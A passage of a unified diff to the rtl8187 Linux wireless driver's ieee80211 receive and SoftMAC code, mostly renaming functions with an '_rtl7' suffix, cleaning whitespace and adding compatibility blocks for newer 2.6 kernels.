hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; 